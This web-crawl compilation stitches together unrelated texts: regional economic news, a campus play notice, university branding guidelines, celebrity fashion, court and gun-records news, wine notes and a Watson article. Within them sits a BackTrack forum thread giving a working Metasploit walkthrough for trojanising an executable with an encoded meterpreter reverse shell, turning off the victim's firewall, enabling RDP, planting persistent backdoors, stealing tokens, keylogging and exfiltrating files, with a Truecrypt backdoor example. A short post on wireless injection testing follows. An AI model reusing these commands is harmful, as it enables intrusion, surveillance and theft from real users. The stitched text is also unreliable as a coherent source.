Due to the migration of BackTrack to our new project Kali-Linux. The forums have been closed to both new registrations and posts.
The forums will remain as a read only archive for some period of time to come although it has not yet been determined how long that period of time will be.
We hope that most of you will migrate over to Kali with us, although we understand that there will be some of you "die hards" that will continue to use BT. We strongly suggest you do make the transition to Kali as you will quickly discover that it is far superior and user friendly product.
Thank you to all our loyal supporters and followers, we couldn't have got where we are without you.
The whole team look forward to seeing you over at Kali-linux

The San Bernardino-Riverside county economy is staging a broad recovery that includes industries ranging from construction to hospitality, an economic report being released today says.
The two-county area is again pulling ahead of other regions in the state in terms of growth in home prices and new residential and nonresidential construction, said the forecast, written by Los Angeles-based Beacon Economics and released in partnership with the UC Riverside School of Business Administration.
"The Inland Empire has started moving forward. It's not a blistering pace, but it is up," said Christopher Thornberg, founding partner of Beacon Economics.
"Everything is moving in the right direction," he said. And it should continue that way, unless decisions in Washington "push us into an austerity recession."
He was referring to a schism between congressional Republicans and the White House over taxation and other budget issues - known as the "fiscal cliff."
Experts say if no compromise is reached by the end of the year, the result will be higher taxes, which will pull money out of the economy, as will cuts in programs.
"In this region the new growth is beginning to help bolster the underlying tax bases for local governments," the forecast said.
Helping to give cities a needed boost is a surge in vehicle sales, up 17percent over the first half of 2011 and building material sales, up more than 11 percent.
"Beacon Economics is forecasting that Inland Southern California, which was one of the state's fast-growing areas before the housing bubble collapsed, will resume its place as the leading edge of the recovery in the coming years, despite getting off to a relatively slow start," he said.
The report is part of the 2012 Riverside/San Bernardino Economic Forecast Conference to be held today at the Doubletree by Hilton Hotel in Ontario.
"Despite slow growth in employment in Inland Southern California...the economy continues to show signs of improvement, with progress beginning to be seen in most of the region's key sectors and across most of the Riverside-San Bernardino metropolitan area.
"Gains in consumer spending, residential and commercial real estate, tourism and logistics continue to drive the economy forward," the report said.
Here are some highlights:
Sales tax: Receipts through the first two quarters of 2012 are up 9percent over the same point in 2011. The forecast calls for the region to reach its pre-recession peak level of taxable sales by 2013.
Hotels and restaurants: Up nearly 9percent on a year-to-date basis. This is "perhaps even more important than auto sales from an employment perspective," the report says.
Hotel occupancy, which fell to just below 50percent during the recession, was nearly 60percent in October. Prices have been trending up since early 2010. Ontario has experienced the biggest improvement in its hotel market, with its largest gains in both occupancy and room rates.
Employment: Growth has been "relatively disappointing," the report says. The slow growth is, in part, related to continued job losses in the public sector.
Factoring out the government contraction, the two-county area's employment is up 4percent since hitting bottom.
Private-sector employment growth in the two-county region has outpaced year-over-year growth in the rest of the state, except for the most recent two-month period.
Leading job-growth areas: Administrative support, a category that includes staffing agencies and temporary workers, has led the charge - adding 10,000 jobs in the two-county region over this point in 2011.
Many of these jobs will translate into permanent jobs, the report says.
Wholesale trade, transportation and warehousing has added nearly 5,000 jobs on a year-to-date basis in 2012.
Real estate: San Bernardino and Riverside counties have experienced eight consecutive quarters of price appreciation through October with prices up nearly 23percent from the troughs in May 2009.
The San Bernardino-Riverside region has been leading the state in multi-family permit growth. Through July 790 new multi-family units were given permits - up 70percent over the same period in 2011.
Beacon Economics predicts new home construction will pick up steam in 2013, with roughly 3,500 new building permits issued. By the end of 2017, 17,000 permits will be issued for residential units, the report says.

Original play about women aviators takes 'Flight' Nov. 18 - 22
The University of South Carolina's department of theatre and dance will present the original play, "Flight," Nov. 18 – 22 at the Center for Performance Experiment, the experimental actor training and performing space at Hamilton College gymnasium.
Show times are 8 p.m. Wednesday through Saturday and 10:30 p.m. Sunday. Tickets are $10 and available only at the door.
Developed from an idea by university professor Steven Pearson, who will direct the production, and written by fellow professor Robyn Hunt, "Flight" is being produced through their performance company, Pacific Performance Project/east, with support from the USC Arts Institute and the College of Arts and Sciences.
Pearson describes "Flight" as a "theatrical poem" that explores the thrill and daring of the first women aviators. The play's narrative follows two daring French actresses preparing to make a history-making flight from Paris to Moscow in 1913, a time when, for women, being an actress was considered improper and being an aviator was considered impossible.
Hunt, who is also performing, says the play "shows proof of the exciting inventions and innovations made by women before World War I, in spite of the fact that those stories have seemingly dropped out of history."

You might want to make use of code boxes and some simple formatting options to make that a bit easier to follow...
Pentest on BT4 R1
Text in {} = Titles
# In front of text = Info
Text in [] = Your Input
# Here are some examples on [] from the guide beneath:
# set LHOST [IP ADRESS INT.] = set LHOST 192.168.1.15
# rdesktop [IP]:[port] -u "[USERNAME]" = rdesktop 192.168.1.15:1337 -u "John"
# search -d "[DRIVE:\\FOLDER\\FOLDER]" -f *.jpg = search -d "C:\\windows\\New folder" -f *.jpg
# So when you input anything where there is [], remember to remove the []
{Shell 1} (Creating Exploit)
# If you get encoder error find another EXE or try to encode it less timeCode:cd /pentest/exploits/framework3/ svn up # To update framework3 clear ./msfpayload windows/meterpreter/reverse_tcp LHOST=[YOUR IP ADRESS INT./EXT.] LPORT=[YOUR PORT] R | ./msfencode -c [NUMBER - How many time it will be encoded] -e x86/shikata_ga_nai -x /root/[SOFTWARE_NAME].exe -t exe > /root/[NEW_SOFTWARE_NAME].exe
# Copy payload to target
{Shell 2} (Using Exploit)
----------Code:cd /pentest/exploits/framework3/ clear ./msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST [IP ADRESS INT.] set LPORT [PORT] (if used in msfpayload in Shell 1) show options exploit
# Now we wait for connection, so start the payload on victim computer
# Now we are in the systemCode:use priv ps # Look for PID on explorer.exe migrate [PID on explorer] getsystem sysinfo # If "Arch = x64" = NO HASHDUMP it won't work
{Prepare for RDP}
{USER:} (Still in shell)Code:shell # Connect to CMD reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f # Allows incoming terminal service connections reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f # Disables blocking incoming Terminal service connections Netsh firewall set opmode enable # Enable Firewall on Victim Netsh firewall set opmode disable # Disable Firewall on Victim

{Shell 3} (RDP to compromised system)
# No need for ":" and [PORT] if local
# Remember to be in "root@bt:~#"
-------------------------------------Code:rdesktop [IP]:[port] -u "[USERNAME]"
{Setting up backdoors for future use} (when in meterpreter console)
Code:run metsvc (set backdoor for next time you want in) (OR THIS) run persistence -r [YOUR IP ADRESS INT./EXT.] -p [YOUR PORT] -A -X -i 300 # 300 tells it to send request for connection every 300 sec. "run persistence -h" for more info
VERY BAD: All 3 files is use gets flagged by Norton Internet Security 2011 as trojan, maybe other AV's will do this too!
BAD: If ip change you have to know the IP to connect back to Victim
GOOD: Easy to use
GOOD: It dosn't request YOUR IP and port!
BAD: It requests YOUR IP and port!
BAD: Can be more "difficult" to use
GOOD: Flexible
GOOD: Auto Connect
ALMOST GOOD: svchost.exe is reported as suspicious, but NOT as malware! It's only when you run NPE (Norton Power Eraser) it is detected as bad, and will be removed. and that's a tool you must download!
{GET BACK INTO SYSTEM} (using metsvc in a new terminal)
------------------------------------Code:cd /pentest/exploits/framework3/ svn up clear ./msfconsole use exploit/multi/handler set PAYLOAD windows/metsvc_bind_tcp set LPORT 31337 (Must be this port of what i know) set RHOST [VICTIM IP ADRESS] show options (see if your setup is correct) exploit
{GET BACK INTO SYSTEM} (using persistence in a new terminal)
----------Code:cd /pentest/exploits/framework3/ svn up clear ./msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST [IP ADRESS INT.] set LPORT [PORT] # The port set in persistence backdoor show options exploit
# Now we wait for connection, it will reconnect to your computer within 300 sec
# If = "NT AUTHORITY\SYSTEM" do this else go to "use priv":
# Find PID on explorer.exe
steal_token [NUMBER - PID on explorer]
# From what i know it grants you the same rights as the user running that process
use priv
get system
{Search} (in meterpreter console)
------------------------------------Code:search -f *.jpg # Finding all JPG files on the system search -d "[DRIVE:\\FOLDER\\FOLDER]" -f *.jpg # Finding all JPG filen i a specific folder searct -f test.txt # Find a specific file on the whole system
{Uploading and Downloading} (How I use it)
# Use "ls", "pwd" and "cd" to navigate around - see below under commands
Create a txt file on yout BT4 desktop and write any thing in it, or nothing, and save it with the name "test.txt" then in terminal in meterpreter console (after your connected to victim), navigate to the desktop of the user currently logged in.
Use "pwd" without quotes, to check if the path is correct, if it is type the following:
# Or if your not in the path where you want to upload a file, and want it to be uploaded to another folderCode:upload /root/test.txt test.txt # and if you are uploading a file with space in it's name: upload "/root/test 2.txt" "test 2.txt"
upload "/root/test 2.txt" "DRIVE:\\FOLDER\\FOLDER\\test 2.txt"
# Example: upload "/root/test 2.txt" "C:\\test\\test1\\test 2.txt"
Now we are going to download the file we just uploaded the "test.txt". Navigate to the folder if your not already in it, by using the "cd", "pwd" and "ls" commands.
Then type:
------------------------------------Code:download test.txt /root/test.txt # And if you are downloading a file with space in it's name download "test 2.txt" "/root/test 2.txt" # Or if your not in the path where you want to download a file from, but know the exact path and name by using search download "DRIVE:\\FOLDER\\FOLDER\\test 2.txt" "/root/test 2.txt" # Example: download "C:\\test\\test1\\test 2.txt" "/root/test 2.txt"
{Commands} (meterpreter console)
# USE THIS!!! thats mostly how i got this knowledge and then googled the commands to get more info on them
# No need to say what it does - remember you must have used "use priv" in meterpreter first
cd [DRIVE:\\FOLDER\\FOLDER]
# You get it - Change directory
# Show what directory your in
# List Current Directory
# See above
# See above
# See above and Meterpreter Search This can be used in diff. consoles!
# Key Sniffer - Start
# Key Sniffer - dump keys while running
# Key Sniffer - Stop
Few words from me:
First i will say, USE THIS AT YOUR OWN RISK! Do not blame me for anything. DO NOT misuse this information, only use this in a test setup!
And i will point out for other beginners, i started on using metasploit 2 days ago so do your self a favour and put some heart into it, do your legwork before asking, i just gave you a complete detailed guide from start to finish, on a silver platter.
As always, if you have any questions, google it first and then google it some more, and THEN ask for directions, not the solution!
Please give some feedback

You might want to make use of code boxes and some simple formatting options to make that a bit easier to follow...
Capitalisation is important. It's the difference between "Helping your brother Jack off a horse" and "Helping your brother jack off a horse".
The Forum Rules, Forum FAQ and the BackTrack Wiki... learn them, love them, live them.
The best part was probably the last few linesProbably doesn't get truer than that.: i started on using metasploit 2 days ago so do your self a favour and put some heart into it, do your legwork before asking, i just gave you a complete detailed guide from start to finish, on a silver platter.
To be successful here you should read all of the following.
If you are new to Back|Track
Back|Track Wiki
Failure to do so will probably get your threads deleted or worse.
I know this guide can and will be misused by some ppl. and i'm fine with that, i just hope they get caught I don't have respect for ppl who want to break into others system without their permission, i really can't see the point in it :/
I'm learning this so that i know a little more about how I can be attacked, and i use this info so that i maybe can close some holes in my setup at home And it's also quite fun
I've found that getting into the security end has really forced me to get deeper into the protocols and such that I've already been working with as a networker.
Also, though perhaps indirectly, pentesting and the security 'arts' eventually (not always...) force developers round the world to improve their code. Any everybody likes better software.
I appreciated the section you did on backdooring. You may want to include the backdooring an exe capability. If you're not sure how to with metasploit, check out the metasploit unleashed section on extended msf usage.
Chapter 12 section 2. Great feature, although the MSF unleashed page only goes into the beginning detail of it, probably due to all of our favorite mantra (try harder!)
Metasploit Unleashed - Mastering the Framework
I've had a lot of fun messing around with backdooring a few of the most used windows exe's.
I can see you've done your reading however. Great tut! esp after the editing you've done
Yes indeed a great tut, I have yet to try it. Like like all tuts I have been through there are always issues to get around, and that is the fun of it. No attack is completley linear to the others, and in turn forces you to learn outside the given realm.
I am not a security professional, more-so an enthusiast. It is tuts like these that not only educate people like me, but allow me to apply said education and offer the information to others who do not have the time or knowledge.
I have had numerous friends have their Data-Limits completley thrashed by intruders, which casues them to spend more money. I have had mine and other friends banking information sniffed out (By neighbours who had a little run in with the law post hack) and in turn have used what little information I have to ameturley secure their networks and routers.
And to think 2 months ago I was completley ignorant to BackTrack, and now after two months of passive learning, I can say that I have the basic knowledge and ability to secure minor residential networks for friends and family, and I have these forums to thank, and the posters I am indebted to. No one will be stealing my Gigabytes and money anymore!
Thanks for the tuts, the help, the information and overall professional attitude reflected by a majority of users on this site. Thanks again.
And again, I'm a beginner so please correct me if have understood anything wrong or I explained anything in the wrong way!
I thank you all for the kind words

hi,im sorry for my amature question.im new one to metasploit
i dont get it this section
what EXE i need it ?Code:./msfpayload windows/meterpreter/reverse_tcp LHOST=[YOUR IP ADRESS INT./EXT.] LPORT=[YOUR PORT] R | ./msfencode -c [NUMBER - How many time it will be encoded] -e x86/shikata_ga_nai -x /root/[SOFTWARE_NAME].exe -t exe > /root/[NEW_SOFTWARE_NAME].exe
You said that this tutorial is for beginners, you've omitted many details that need a layman to understand.
The format is very tiring to read.
For two days, until you learn something fast, now spend about 40 days more and learning more about text formatting too!And i will point out for other beginners, i started on using metasploit 2 days ago so do your self a favour and put some heart into it, do your legwork before asking, i just gave you a complete detailed guide from start to finish, on a silver platter.
For example, I have the executable software Truecrypt_70_backdoor and will "attach" the backdoor the him.Code:# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.192 LPORT=5555 R | msfencode -t exe -x /root/Truecrypt_70.exe -o /root/Truecrypt_70_backdoor.exe -e x86/shikata_ga_nai -c 10

800 University WaySpartanburg, SC 293031-864-503-5000
Each area of the University has unique needs and applications for print, Web and other types of media. Included within this manual are sections addressing such issues as the use of visual elements and styles across various mediums, appropriate logo use, guidelines for developing print publications, as well as incorrect usage of logos. While the intent was to be as comprehensive as possible when developing this manual, the Office of University Communications is aware that special situations may arise that are not covered in this manual. In these events, please contact the Office of University Communications for review and approval.
This manual is available online. If you have any questions, please contact the Office of University Communications at 864-503-5210.
Why We Have Identity Standards
As the University of South Carolina Upstate continues striving toward its vision to become one of the Southeast's leading "metropolitan" universities, it is critical that the visual elements that represent the institution and its image do so consistently and with integrity. Across the nation, institutions of higher education have begun recognizing the importance of image consistency to protect their images and build their brands. The successful outcome of branding is the creation of an instant recognition and emotional connection with desired audiences.
The branding of a university is vital in that it presents a consistent, yet evolving, set of messages to connect with its diverse group of audiences. A proliferation of independent, decentralized identities and symbols creates confusion in the minds of audiences whose support we seek: prospective students, students, alumni, parents, community and business leaders, and donors. While a successful branding effort is comprised of much more than logos, symbols and colors, they are an institution's visual representation and extension.
Finally, consistency in visual identity protects the institution's patents, licenses and trademarks, and increases the value of its identity over the long term.
This Image Management Manual includes all of the branding elements and image consistency necessary to present USC Upstate in a consistent, meaningful way. Following these guidelines will help the University communicate more clearly and make it easier to develop effective print ads, radio spots, Web pages, billboards, signs, brochures, direct mailers and other University materials.
The entire campus community has a responsibility to present the USC Upstate brand in a consistent manner. As you develop printed publications and post material to the Web, it is important to adhere to the guidelines found in this manual. Additionally, the USC Upstate brand must be supported by the actions and words of everyone who works for, attends or represents this institution. After all, an exceptional university—an exceptional brand—is defined by the values, integrity and performance of its people.
The University of South Carolina Upstate is accredited by the Southern Association of Colleges and Schools Commission on Colleges to award baccalaureate and masters degrees. Contact the Commission on Colleges at 1866 Southern Lane, Decatur, Georgia, 30033 or call 404-679-4500 for questions about the accreditation of USC Upstate. Comments or Complaints?

Lea Michele's Style: Boring to Fantabulous on the Red Carpet!
Glee phenom Lea Michele has transformed from unexciting to a couture fashionista in less than two years!
-Evette Brown
In high school, members of the Glee club weren't popular. Now, we can't get enough of their melodies and pop covers! When Glee hit our TV screens in early 2009, it was an instant hit. Sitting at the top of the ratings charts for weeks threw the dynamic cast into the spotlight. Adorable brunette Lea Michele became a breakout star. We fell in love with Rachel Berry and her perfect soprano week after week. After winning the 2009 Satellite Award for Best Actress in a Series, Comedy or Musical and a Screen Actors Guild Award, she became a permanent fixture at all the major award events. Lea Michele is burning up red carpets everywhere. Named to People Magazine's Best Dressed List for 2010 and signed on as an ASOS spokesmodel, she has evolved from a simple songstress into a musical fashionista.
Here's a sneak peak at how her style has evolved over the past two years.
The first official Glee screening gives the world a glimpse at Lea Michele and the rest of her co-stars. We get a small peak at her potential to be on the best dressed list with this embroidered bodice and flowing hem.
Read 25 Things About Jessica Chastain
Twilight: New Moon was the most anticipated movie of 2009. Lea was present at the film's premiere. We can see a hint of the edge in her personality with the black leather mini and classic black pumps with a modern flower twist. It's just a shame that her shoes are too big.
Welcome to the spotlight Lea! In her first red-carpet appearance at the Fox All Star Party, she flaunts her new-found fashion chops in an Isaac Mizrahi number.
She might be a petite five-foot-two, but ASOS picked her to model for their ads.
Before belting out "Don't Rain on my Parade," Lea hit the 2010 Tony Awards red carpet, dazzling everyone in a marigold yellow Zac Posen out of her fashion arsenal. Lea was a fashion goddess in the making with a perfect marigold yellow against her tanned complexion.
More stunning red carpet fashion up next!

Forlan wasn't an option clearly
Crazy finish to the match though. Will Suarez miss the final if, by some miracle, Uruguay get there?
Why was the Uruguan player crying when he left? If he didn't get his hands on the ball, it was a 100% sure loss. If he got a hand on it, it was a 75% loss (the percentage of successful penalty kicks in World Cups)....
He had to do it...he had no choice.

Centennial, Colo. •The University of Colorado Hospital said Friday that no one at its switchboard talked to the movie theater shooting suspect in the minutes before the attack, but a caller did hang up without saying anything around that time.
One of James Holmes' lawyers said at a court hearing Thursday that Holmes reached out to psychiatrist Lynne Fenton that night by calling the hospital switchboard, which can reach doctors after business hours.
Attorney Tamara Brady said Holmes made the call nine minutes before he is accused of opening fire at a Batman movie premiere, killing 12 people and injuring 58. She provided no evidence to support that claim.
Hospital marketing director Brad Fixler said Friday that the switchboard did receive a seven-second call at 12:31 a.m. on July 20, about eight minutes before 911 dispatchers began receiving calls about the shooting. But he said the caller hung up without saying anything.
"We did not receive any calls asking specifically for Dr. Fenton nor any other psychiatrist at our hospital," Fixler said.
The Denver Post first reported the story.
Fixler said calls to the hospital switchboard are recorded for patient safety, and officials there examined those recordings to find out if Holmes called. Other calls received around that time were unrelated to the Holmes case, he said.
Fixler did not immediately know if the recording of the seven-second call was given to police.
Brady made the assertion about the phone call in court as she sought to establish that a doctor-patient relationship existed between Holmes and Fenton right up to the shooting. Chief Deputy District Attorney Karen Pearson suggested that Holmes also could have called Fenton directly at her office but apparently did not.
Prosecutors suffered a setback at the hearing in their attempts to obtain a notebook Holmes sent to Fenton that reportedly contains violent descriptions of an attack. Judge William B. Sylvester ruled that prosecutors could not disprove that a doctor-patient relationship existed between Holmes and Fenton.
Now the question is whether Holmes, 24, sent the notebook to Fenton for use in his treatment. Prosecutors argued the notebook wasn't meant to be used for therapy purposes because Holmes wasn't planning to be around.
"He intended to be dead or in prison after this shooting," Pearson said in court. Pearson didn't explain why she believed Holmes would be dead, but she pointed to a dating site where Holmes asked, "Will you visit me in prison?"
Brady objected to Pearson's argument and said she was making "many gigantic leaps." Brady said a doctor-patient relationship existed even though Fenton hadn't seen Holmes since June 11.
She said prisoners can still be seen by psychiatrists, and a possible reason for Holmes sending the notebook to Fenton was, "I'm feeling bad. Please stop me. Do something. Help me."
Sylvester will take up the matter again at a scheduled hearing Sept. 20.
"We've got to be extremely cautious about violating privilege," Sylvester said. "If we do, it would be problematic for anything we're trying to do."
Fenton was the prime witness at the hearing where prosecutors sought to gain access to the notebook needed as part of their case.
She testified that she believed she had no doctor-patient relationship with Holmes by July 19, the day prosecutors say he mailed the notebook. Fenton also said she contacted a campus police officer after her last meeting with Holmes.
"I communicated with (the officer) to gather more information on this case and also communicate my concerns," Fenton said.
Sylvester, prompted by Brady's objections, barred questions about what those concerns were.
Fenton said she never saw the package. She learned about it from a defense team investigator two days after the shooting, and she contacted her attorneys. The package was discovered in a university mailroom July 23.
University spokeswoman Erika Matich said the school would have no comment on Fenton's testimony, including any details about her contact with campus police. A university spokeswoman said last week that a criminal background check was done on Holmes before the attack, but released no details.
Defense attorneys say Holmes is mentally ill. Prosecutors suggest he was angry at a failing academic career and efforts to withdraw from a doctoral program at CU.
Thursday's 3 ½-hour hearing was the longest yet that Holmes has attended. He appeared to pay close attention to the proceedings and smiled at least once as he leaned toward his attorney. Holmes had a light moustache but was otherwise clean-shaven, and his hair was blond and orange.
Meanwhile, the University of Iowa released records showing it rejected Holmes from a graduate neuroscience program last year after he visited campus for an interview and left the program director bluntly warning colleagues: "Do NOT offer admission under any circumstances."
The documents didn't explain was his application was denied. University spokesman Tom Moore said Holmes was academically qualified but officials did not see him as a "good personal fit for our program." He declined to elaborate.
Holmes later enrolled as a first-year Ph.D. student in a neuroscience program at the University of Colorado Denver. He withdrew June 10.
His rejection from the Iowa school stands in contrast to his previously released application to a similar program at the University of Illinois, where he was offered admission with free tuition and $22,000 per year but declined to enroll.
Holmes said on his Iowa application that he also was applying to Texas A&M, Kansas, Michigan, Alabama and Colorado. He wrote in his Iowa application that he had a thirst for knowledge and wanted to study the "science of learning, cognition and memory."

After years of not reporting Utah's mentally ill to a federal database meant to keep guns out of the hands of those with a history of psychiatric problems, the state this week fed more than 10,000 records to the clearinghouse.
Utah had kept its own list "for Utah eyes only" to screen individuals wishing to purchase guns, but there was nothing to prevent a Utah resident with a history of mental illness from buying a firearm in another state.
The list of prohibited buyers includes those who have been adjudicated guilty but mentally ill or not guilty due to insanity part of a criminal trial or civilly committed.
The failure of Utah and nearly two dozen other states to share data on mentally ill residents through the National Instant Criminal Background Check System (NICS) had been flagged as a major gap by critics that warned that the patchwork of reporting hampered background checks and has allowed people with serious mental illness to purchase guns.
Most notably, Seung Hui Cho shot and killed 32 people on the Virginia Tech campus in 2007, two years after a judge ruled he was mentally ill.
Until this week, Utah would only submit a name to the federal database if a person on the state's list of those prohibited from owning a gun due to mental illness tried to purchase a weapon in the state and failed the background check.
According to the group Mayors Against Illegal Guns, Utah had submitted 109 records as of October 2011.
Utah's move to share that information signals a significant policy shift, but there will likely be efforts in the upcoming legislative session to ensure the data is useful and to provide a pathway for people to have their names removed from the federal database.
On Tuesday, the Bureau of Criminal Identification (BCI) transmitted Utah's list of 10,247 names to the NICS database. But 3,845 of those were rejected, the vast majority because they were missing a numeric identifier either a birth date or a Social Security number, said Lance Tyler, Brady Section supervisor for BCI.
Going forward, at the end of each night names will be transmitted from the court system to BCI and on to the FBI database.
Sen. Daniel Thatcher, R-West Valley City, said he plans to sponsor legislation requiring the courts to gather birth date and Social Security numbers for those adjudicated as mentally ill, so the records can be added to the federal database.
The senator also wants to pass legislation that would allow people who may have been deemed mentally ill, but have gone through treatment, to petition to have their ability to buy a firearm restored.
"There is currently no way for a Utahn to get their name off the list, and I'm not OK with that," Thatcher said.
A bill has been drafted with input from the courts and advocates for the mentally ill that Thatcher said would meet the federal requirements and allow a resident to get his or her name off the list.
The process would require a clean bill of health from a psychiatrist and notification of the local county attorney, who would have an opportunity to review the case and oppose the request, if there was a reason the individual should not purchase a gun.

Top Legal Scholars Gather at Property Law ConferenceJune 07, 2012
By Abigail Meisel
Consider these legal quandaries: Can the U.S. government seize property in a time of national emergency? Does a copyright owner have the right to constrain the resale of a digital book? Should public authorities in Louisiana use the power of eminent domain in the suburbs of New Orleans to build housing for low-income families in the aftermath of Hurricane Katrina?
|Professor Nestor Davidson at the Property Works in Progress conference
These dilemmas, and more, provided grist for discussion and analysis among 45 legal scholars at Property Works in Progress 2012, a Fordham Law conference held from May 31 to June 2 in the Lowenstein building. The event was spearheaded by Fordham Law Professor Nestor M. Davidson and Law School alumnus D. Benjamin Barros '96, who serves as Associate Dean for Faculty Research and Development and Associate Professor at Widener University School of Law.
"The conference allows scholars within the broad range of property law to talk across their disciplines—and lets people who usually talk past each other have the opportunity to communicate their ideas with each other," said Davidson.
The conference drew a mix of up-and-coming young academics and leading names in the field of property law. Attendees traveled from as far away as Israel and Australia to confer with their peers and receive feedback on a variety of works-in-progress: essays and articles for legal journals, as well as books and book chapters in progress.
"The Property Works in Progress conference is a crucial forum for interaction among property law scholars," said Joseph Singer, Bussey Professor of Law at Harvard Law School. "The conference promotes and enables us to improve our scholarship. It allows us to exchange ideas, test theories, and to give and receive suggestions and useful criticism of our work," he added.
Of the 45 attendees, 33 put forward original scholarly works, including Davidson.
He presented his essay "No Steel Seizures: Nationalization and the Nature of Property," a legal and historical analysis of property rights in times of national emergency—from the landmark Korean War–era case Youngstown Sheet and Tube Co v. Sawyer to the U.S. government's takeover of Fannie Mae and Freddie Mac in 2008.
Barros served as moderator for Thursday afternoon's panel discussion, and Sheila Foster, Fordham Law's Vice Dean and Albert A. Walsh Professor of Law, moderated the Friday afternoon session.
"Fordham has long had strength in law subjects such as torts, property, and contracts, and it continues to attract some of the best minds writing on these subjects," Foster said. "It's fitting and an honor for Fordham to serve as the host of this conference."

The vineyard is in a single block, and borders on the Pomerol appellation. An outstanding terror and unusual proportions of Cabernet Franc and Merlot give this great wine an absolutely unique flavor. Château Cheval Blanc has had a greater number of outstanding vintages than any other classified great growth over the past century.
Another unusual characteristic of Cheval Blanc is that once it reaches its peak, it maintains it for a very long time. This admirable wine is powerful, soft, rich, round and silky. It has tremendous fruit and elegance as well as exceptional quality from year to year. View all Chateau Cheval Blanc Wines
About St-EmilionView a map of St-Emilion wineries (saint eh-meel-YOHN)
A region named after the charming, quaint historical town in Bordeaux, St-Émilion is situated on the right bank of Bordeaux. It's grapes of choice are Merlot and Cabernet Franc (called Bouchet on the right bank). The region has its own classification system, updated and revised every few years. Two of the hottest chateaux of the area (and the only Premier Grand Cru Classé A) are Chateau Ausone and Chateau Cheval Blanc.
Notable Facts
St.-Émilion produces the most wine on the right bank of Bordeaux. As most of its wine is based primarily on Merlot, St-Emilion wines are described as having finesse and elegance. The best wine of the region can last upward of 10-20 years, like a good left-banker, but many find that the wines here matuer earlier than those based on Cabernet Sauvignon. The soils in the area differ greatly, from gravel to limestone to clay and sand. As a result, the wines of this region are diverse. Quality wines display silky tannins and ripe, soft fruit – the higher quality wine showing full-bodied texture and layers of complexity.
About France - Other regionsWhen it comes to wine, France is a classic. Classic blends, grapes and styles began in the country and they still remain. Think about it - people ask for a Burgundian style Pinot Noir, they refer to wines as Bordeaux or Rhone blends - Champagne even had to pass a law to stop international wineries from putting their region on the label of all sparkling wine.
The top regions of France are: Bordeaux, Burgundy, Champagne, Languedoc-Roussillon, Loire, Rhone. And these regions are so diverse! It makes sense that wine regions throughout the world try to emulate their style. Pinot Noir, Chardonnay, Cabernet Sauvignon and Syrah are no longer French varieties, but international varieties. They may not be the leader of cutting edge technology or value-priced wines, but there is no doubt that they are still producing wines of great quality and diversity.

I spent some time this evening testing six USB wireless cards and want to share my results. I know I'm covering old ground with some of these but I've included relative signal strength in my data.
I guess I should describe my test set-up, while not scientific by any means, it is consistent. I used my POS internal Intel 4965/5xxx wireless card as the test AP in the aireplay-ng -9 -i <interface> <test interface> scenario. I started each interface in monitor mode on channel 9, which is the same channel my test AP, "pwn target biotch" is on. In each test, I measured the power reading for pwn test biotch and noted the results of the injection test suite. pwn target biotch was approximately 10 meters from my test location, on the other side of a wall.
The six USB cards I tested are as follows:
1) Alpha AWUS036H
2) Linksys WUSB54G
3) TP-Link TP-WN321G
4) EDiMAX EW-731USG
5) Hawking HWUG1
6) Alpha UBDo-G
A side note on the Alpha UBDo-G; this thing is a real beast! It's made for maritime use, is waterproof and has a mast antenna that is approximately 1.5 meters long. It's blasts! It's definitely not for wardriving, unless you're on a boat or in a 18 wheeler truck!
The results:
Code:Alpha AWUS036H pwn target biotch power -36.87 Attacks -0 thru -7 OKCode:Linksys WUSB54G pwn target biotch power -36.33 Attacks -0/-1 (OPN & PSK)/-2/-3/-4/-6 OK Attacks -5/-7 FailedCode:TP-Link TL-WN321G pwn target biotch power -37.33 Attacks -0/-1 (OPN & PSK)/-2/-3/-4/-6 OK Attacks -5/-7 FailedCode:EDiMAX EW-731USG pwn target biotch power -37.10 Attacks -0/-1 (OPN & PSK)/-2/-3/-4/-6 OK Attacks -5/-7 FailedCode:Hawking HWUG1 pwn target biotch power -38.23 Attacks -0/-1 (OPN & PSK)/-2/-3/-4/-6 OK Attacks -5/-7 FailedHere's a screen shot from that last test. Note how all the APs in the area got 100%, even if off-channel.Code:Alpha UBDo-G pwn target biotch power -35.99 Attacks -0 thru -7 OK
Link to image
One note about the failed Attacks -5/-7 on all of the cards except the Alphas, the documentation from Aircrack-ng says that while these test attacks may fail in this scenario, it doesn't mean they will necessarily fail in real world situations. I'm going play around with the ones that failed Attacks -5/-7 in this test scenario to see if they do in fact succeed in full scale attacks.
Overall, my favorite is the Alpha AWUS036H because of it's performance and small size. I really like the Alpha UBDo-G because it really hauls a$$, but it's not very practical.

Turnpike Commission approves Innerbelt Bridge/Opportunity Corridor funding
(Berea) - The Ohio Turnpike and Infrastructure Commission Monday approved the funding for 10 projects located in northern Ohio, each within 20 miles of the Turnpike.
The projects will be funded using bond proceeds that were the result of Governor Kasich's Ohio Jobs and Transportation Plan.
Two of the projects are in Cleveland. $340 million was approved for the second Innerbelt Bridge. $39 million was okayed for the Opportunity Corridor linking I-490 with University Circle.
$16 million was approved for State Route 57 in Lorain County.
OTIC conducted a special meeting last week to hear Turnpike staff analysis of the 12 Transportation Review Advisory Committee (TRAC) projects that were presented to the Commission by the Ohio Department of Transportation at their regular meeting in August.
In making their determinations, the Commission had to decide whether the proposed projects specifically demonstrated the transportation-related nexus to the Turnpike system.
"This is a true partnership between our agencies. No trips start or end on the Turnpike, so our financial support of these projects is a benefit to the entire transportation system and Turnpike customers as well," stated Rick Hodges, OTIC Executive Director.

Artificial Intelligence triumphs over humans, making humankind the winner.
It was the biggest man-versus-machine supremacy test in history since "Deep Blue", the IBM computer that beat world chess champion Garry Kasparov in 1997. Watson is the IBM computer that researchers have been prepping to take on humans in the quiz game Jeopardy. The two top contestants of all time are Brad Rutter as the biggest all-time money winner in Jeopardy's history, and Ken Jennings, who won 74 consecutive Jeopardy games, and then went on to surpass Rutter as biggest all-time game show winner in history. Watson (named after IBM President Thomas Watson) has been created with the ability to understand natural human language and to excel at questions and answers. In the end, Watson proved its domination at both.
The biggest challenge for IBM scientists was teaching Watson to tell the difference between literal and metaphorical expressions and understanding puns and slang. The ability of a machine to learn is the essence of the field of artificial intelligence. While there have been great advances in the field, there hasn't been anything close to human thinking.
